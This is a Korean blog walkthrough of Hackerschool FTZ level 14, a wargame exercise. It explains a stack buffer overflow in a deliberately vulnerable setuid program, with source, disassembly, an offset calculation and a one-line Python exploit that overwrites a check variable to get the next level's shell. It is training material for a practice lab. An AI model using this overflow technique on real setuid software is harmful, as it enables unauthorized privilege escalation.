본문 바로가기

Wargame & CTF/Hackerschool FTZ

[해커스쿨] FTZ LEVEL14

[해커스쿨] FTZ LEVEL13 문제 풀이



ㅁ 문제 요약


 문제 유형

System Hacking

 문제 타입

Linux 

 문제 난이도


ㅁ 상세분석


[그림 1] 문제 내용


LEVEL14 계정으로 로그인 하고 hint 파일 내용을 소스 코드를 보여주고 /home/level14 폴더에 setuid가 걸린 attackme 파일이 존재한다.


#include <stdio.h>

#include <unistd.h>

 

main()

{ int crap;

  int check;

  char buf[20];

  fgets(buf,45,stdin);

  if (check==0xdeadbeef)

   {

     setreuid(3095,3095);

     system("/bin/sh");

   }

}

[그림 2] 문제 소스코드 분석


소스 코드 분석을 해보면 fgets 함수를 사용하는데 입력 버퍼보다 많은 버퍼를 사용해서 버퍼 오버플로우 취약점이 발생한다. if 문의 조건을 만족시키면 LEVEL15 계정의 shell을 획득할 수 있다.


Dump of assembler code for function main:

0x08048490 <main+0>:    push   ebp

0x08048491 <main+1>:    mov    ebp,esp

0x08048493 <main+3>:    sub    esp,0x38

0x08048496 <main+6>:    sub    esp,0x4

0x08048499 <main+9>:    push   ds:0x8049664

0x0804849f <main+15>:   push   0x2d

0x080484a1 <main+17>:   lea    eax,[ebp-56]

0x080484a4 <main+20>:   push   eax

0x080484a5 <main+21>:   call   0x8048360 <fgets>

0x080484aa <main+26>:   add    esp,0x10

0x080484ad <main+29>:   cmp    DWORD PTR [ebp-16],0xdeadbeef

0x080484b4 <main+36>:   jne    0x80484db <main+75>

0x080484b6 <main+38>:   sub    esp,0x8

0x080484b9 <main+41>:   push   0xc17

0x080484be <main+46>:   push   0xc17

0x080484c3 <main+51>:   call   0x8048380 <setreuid>

0x080484c8 <main+56>:   add    esp,0x10

0x080484cb <main+59>:   sub    esp,0xc

0x080484ce <main+62>:   push   0x8048548

0x080484d3 <main+67>:   call   0x8048340 <system>

0x080484d8 <main+72>:   add    esp,0x10

0x080484db <main+75>:   leave

0x080484dc <main+76>:   ret

0x080484dd <main+77>:   lea    esi,[esi]

End of assembler dump.

[그림 3] main 함수 disassembly


main 함수를 분석하면 빨간색 부분이 문제 풀이의 핵심 부분이다. fgets 함수를 사용해서 버퍼 오버플로우 문제가 발생한다. check 변수에 0xdeadbeef 값이 존재해야 조건문 안에 있는 코드가 동작하기 때문에 check 변수 주소를 구해서 0xdeadbeef 값을 넣어야 한다.


[그림 4] check 변수 위치 확인


빨간색 박스를 살펴보면 fgets 함수를 사용해서 ebp-56 부분에 사용자 입력 값을 쓰고

ebp-16에 0xdeadbeef 값이 들어가 있는지 확인한다. ebp-56과 ebp-16을 빼면 40 Byte가 나오고 40 Byte까지 입력 값을 주고 0xdeadbeef 값을 넣어주면 된다.


[그림 5] 공격 코드 구조


공격 코드 구조를 살펴보면 SFP, RET는 이번 문제에서 중요한 부분이 아니기 때문에 제외했다. LEVEL14 문제 핵심은 check 변수다. 즉 몇 바이트를 사용하면 check 변수에 값을 쓸 수 있는지에 대해서 이해하면 된다.

최종 공격 코드는 아래와 같다.

공격 코드: (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat) | ./attackme


[그림 6] 문제 결과


공격 코드를 입력하면 LEVEL15 권한의 shell을 획득하고 my-pass 입력하면 LEVEL15 계정의 패스워드를 획득할 수 있다.



'Wargame & CTF > Hackerschool FTZ' 카테고리의 다른 글

[해커스쿨] FTZ LEVEL16  (0) 2016.01.06
[해커스쿨] FTZ LEVEL15  (0) 2016.01.05
[해커스쿨] FTZ LEVEL13  (0) 2016.01.04
[해커스쿨] FTZ LEVEL12  (0) 2016.01.04
[해커스쿨] FTZ LEVEL11  (0) 2016.01.04